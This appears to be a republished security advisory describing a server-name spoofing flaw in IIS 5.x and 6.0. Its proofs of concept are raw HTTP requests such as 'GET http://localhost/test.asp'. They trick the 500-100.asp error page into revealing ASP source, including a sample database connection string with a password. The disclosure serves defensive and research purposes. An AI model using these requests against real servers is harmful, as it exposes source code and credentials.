Remote IIS 5.x and IIS 6.0 Server Name Spoof

Remote IIS 5.x and IIS 6.0 Server Name Spoof

It is possible to remotely spoof the "SERVER_NAME" Microsoft® Internet Information Server® 5.0, 5.1 and 6.0 server variable by doing a modified HTTP request. Thus potentially revealing sensitive ASP code through the IIS 500-100.asp error page, the spoof also opens up a potential range of exploits in third party web applications and web services.

Technical Description
Microsoft® IIS 5.x ® shows sensitive information if the "SERVER_NAME" IIS 5.x server variable is "localhost". If a IIS 5.x ASP page has an error, the code on the fault line in the ASP page is shown in the browser, but only if"SERVER_NAME" IIS server variable is "localhost". One can spoof the "SERVER_NAME" IIS server variable so that it shows whatever one want. Other third party web applications or web services may also be vulnerable if authentication depends on the validity this server variable. IIS 6.0 is vulnerable to the spoof, but it's 500-100.asp page is not vulnerable.

The IIS server variable that can be spoofed is the "SERVER_NAME", it can be accessed through request.servervariables("SERVER_NAME") with ASP, and HttpContext.Current.Request.ServerVariables("SERVER_NAME") with .NET, other programming languages have other methods to access this server variable, but are equally vulnerable.

If the HTTP request comes from a remote client, then the server variable "SERVER_NAME" returns the IP address of the web server itself. If the HTTP request came from the same IP as the web server (thus the request came from the an authenticated user browsing from the web server itself), then request.servervariables("SERVER_NAME") returns "localhost". This fact is used as "proof" in web applications or web services that the person browsing the web server is in fact browsing from the web server itself. The web applications or web services may use this proof to display an administrative interface to the web browser user if such is the case. One exploitable example is the IIS 5.x 500-100.asp page(Note: the IIS 6.0 500-100.asp page is no vulnerable); the page uses the server variable to determine if to display the code where the error occurred.

The technical description of the server variable is "The server's host name, DNS alias, or IP address as it would appear in self-referencing URLs", it is therefore often used to determine the IP address of the web server itself in once code, this opens up for a range of exploits including cookie-stealing, data redirection, and other URL manipulation issues.

There are many other applications that utilize validity of this server variable, and MSDN holds many examples for developers that are easily exploitable with this bug; among the most serious are the Microsoft® .NET Passport SDK examples, any web application or web service based on these examples are probably vulnerable due to the bug.

Vendor Status: Notified 28. January 2005 but still no fix availible.

Confirmed applications: Microsoft® Internet Information Server® 5.0, Microsoft® Internet Information Server® 5.1 and Microsoft® Internet Information Server® 6.0.

Confirmed platforms: Microsoft® Windows® 2000 with SP4, Microsoft® Windows® XP Professional with SP2, Microsoft® Windows® 2003 with SP1.

Proof of concept #1
Ok, you will need some sort of telnet client for this:

1. Create a ASP called test.asp on the IIS web root and add the following code:
<% response.write request.servervariables("SERVER_NAME") %>

2. Try and access it from a remote server with telnet. Use the following HTTP request(Note: always do a double ENTER after a HTTP request to indicate end of request message):
GET /test.asp HTTP/1.0

3. The reply is the IP address of the web server, as one would expect.
4. Try and access it from the webserver itself. Use the following HTTP request:
GET /test.asp HTTP/1.0

5. The reply is "localhost", as one would expect.
6. Try and access it from a remote server with telnet again. This time use the following HTTP request:
GET http://localhost/test.asp HTTP/1.0

7. It replies "localhost", you have just fooled IIS to think that the HTTP request came from a user browsing from the web server itself.


Proof of concept #2
This PoC will show you how to get IIS 5.x to reveal code in a page that is not functioning correctly by tricking IIS's 500-100.asp to think that the HTTP request came from the webserver itself. In the IIS page 500-100.asp that reveals the ASP code if an error occurres. The 500-100.asp code snip looks like this(take especially note of the bold letters):

--- Snip from the IIS file /IISHelp/common/500-100.asp ---
strServername = LCase(Request.ServerVariables("SERVER_NAME"))
strServerIP = Request.ServerVariables("LOCAL_ADDR")
strRemoteIP = Request.ServerVariables("REMOTE_ADDR")
If (strServername = "localhost" Or strServerIP = strRemoteIP) And objASPError.File <> "?" Then
Response.Write Server.HTMLEncode(objASPError.File)
If objASPError.Line > 0 Then Response.Write ", line " & objASPError.Line
If objASPError.Column > 0 Then Response.Write ", column " &
objASPError.Column Response.Write "
"

Response.Write "
new"">"
Response.Write Server.HTMLEncode(objASPError.Source) & "
"

If objASPError.Column > 0 Then Response.Write String((objASPError.Column - 1),
"-") & "^
"

Response.Write "
"

blnErrorWritten = True
End If
...

Here you see that Microsoft® assumes that if the Request.ServerVariables("SERVER_NAME") equals "localhost"then the code where the bug happened is returned to the client making the HTTP request.
A normal HTTP request might look like this:
GET /test.asp HTTP/1.0

But by adding "http://localhost/" then you will see that the contents of Request.ServerVariables("SERVER_NAME") changes to "localhost". Like this:
GET http://localhost/test.asp HTTP/1.0

Not only localhost works, one can fake it to anything:
GET http://www.someserver.xom/test.asp HTTP/1.0
GET http://198.2.168.1/test.asp HTTP/1.0

Now, armed with this knowledge, let us ge down-and dirty to reveal some code remotely:

1. Create a global.asa file on the root of your IIS web root that has the following contents:


2. Try and access the web from a remote server with telnet. Use the following HTTP request:
GET / HTTP/1.0

3. The reply does not reveal the code on the "Application("SQLConn")..." line, as it should since IIS 5.x recognizes you as beeing on a remote client. It does however tell you that there is a error on the page.

4. Now try the following HTTP request instead:
GET http://localhost/ HTTP/1.0

5. The reply displays the code, since the IIS server thinks you are browsing from the webserver:

Microsoft VBScript compilation (0x800A03EA) Syntax error 127.0.0.1//global.asa, line 3, column 34
Application("SQLConn") = Provider='sqloledb';Data Source=192.168.2.1;Initial Catalog=Test;User Id=someuser;Password=somepassword;"

---------------------------------^

Links
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/iissdk/html/21b3be8f-d4ed-4059-8e21-6cba2c253006.asp

0 comments:

Copyright © 2009 - My Gadget Guru - is proudly powered by Blogger
Smashing Magazine - Design Disease - Blog and Web - Dilectio Blogger Template